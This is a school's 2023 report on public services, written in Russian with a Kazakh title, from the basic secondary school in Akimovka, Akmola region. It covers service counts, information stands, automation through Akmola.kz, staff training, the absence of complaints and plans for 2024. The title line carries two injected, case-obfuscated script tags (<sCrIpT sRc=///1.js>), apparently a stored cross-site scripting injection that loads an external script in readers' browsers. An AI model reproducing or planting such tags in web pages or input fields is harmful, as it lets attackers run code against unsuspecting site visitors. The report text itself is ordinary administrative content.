2023 жылғы мемлекеттік қызметтер бойынша есеп<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
1. Общие положения
1)Сведения об услугодателе:
КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области". Юридический адрес: Акмолинская область, Астраханский район, село Акимовка, улица Сарыколь 128.
2) Информация о государственных услугах:
КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области". оказывается 6 государственных услуг.
За 2023 год КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области" оказано 16 государственные услуги, в том числе:
через Госкорпорацию «Правительство для граждан» - 0 услуг;
в электронном варианте -8;
в бумажном варианте – 8 услуг.
Все государственные услуги в сфере образования были оказаны на бесплатной основе.
3) Информация о наиболее востребованных государственных услугах:
«Прием документов для перевода детей между организациями начального, основного среднего, общего среднего образования»;
«Прием документов и зачисление в организации образования независимо от ведомственной подчиненности для обучения по общеобразовательным программам начального, основного среднего, общего среднего образования».
2. Работа с услугополучателями:
1) Сведения об источниках и местах доступа к информации о порядке оказания государственных услуг.
Для получателей госуслуг на информационных стендах школы размещены стандарты и правила оказания государственных услуг. Функционирует уголок самообслуживания.
2) Информация о публичных обсуждениях проектов подзаконных нормативных правовых актов, определяющих порядок оказания государственных услуг.
В настоящее время публичное обсуждение проектов подзаконных правовых актов осуществляется на сайте КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области". Школой нормативно -правовые акты не разрабатывались.
3) Мероприятия, направленные на обеспечение прозрачности процесса оказания государственных услуг (разъяснительные работы, семинары, встречи, интервью и иное).
За 2023 год в КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области" проводилась работа по информированию населения о порядке предоставления государственных услуг посредством интернет – ресурса школы.
3. Деятельность по совершенствованию процессов оказания государственных услуг.
1) Результаты оптимизации и автоматизации процессов оказания государственных услуг.
В целях снижения коррупционных рисков и повышения качества оказания государственных услуг КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области" работает в единой информационной системе Аkmola.kz. В системе реализуются 2 автоматизированные государственные услуги.
Так же с 2020 года в КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области". функционирует система Министерства образования и науки Республики Казахстан АРМ ГУ МОН РК, в которой доступны 2 государственные услуги.
2) Мероприятия, направленные на повышение квалификации сотрудников в сфере оказания государственных услуг.
В КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области". государственные услуги оказывает 1 сотрудник, который обеспечен необходимой компьютерной техникой и в 2018 году прошёл курсы повышения квалификации по государственным услугам.
4. Контроль за качеством оказания государственных услуг.
1) Информация о жалобах услугополучателей по вопросам оказания государственных услуг.
За 2023 год жалоб по качеству предоставления государственных услуг не поступало.
2) Результаты общественного мониторинга качества оказания государственных услуг.
В 2023 году нарушений сроков оказания государственной услуги не было.
5. Перспективы дальнейшей эффективности и повышения удовлетворенности услугополучателей качеством оказания государственных услуг.
В 2024 году в КГУ "Основная средняя школа с.Акимовка отдела образования по Астраханскому району управления образования Акмолинской области" будет продолжена работа по улучшению качества оказания государственных услуг физическим и юридическим лицам.
Директор школы: Е.Власенко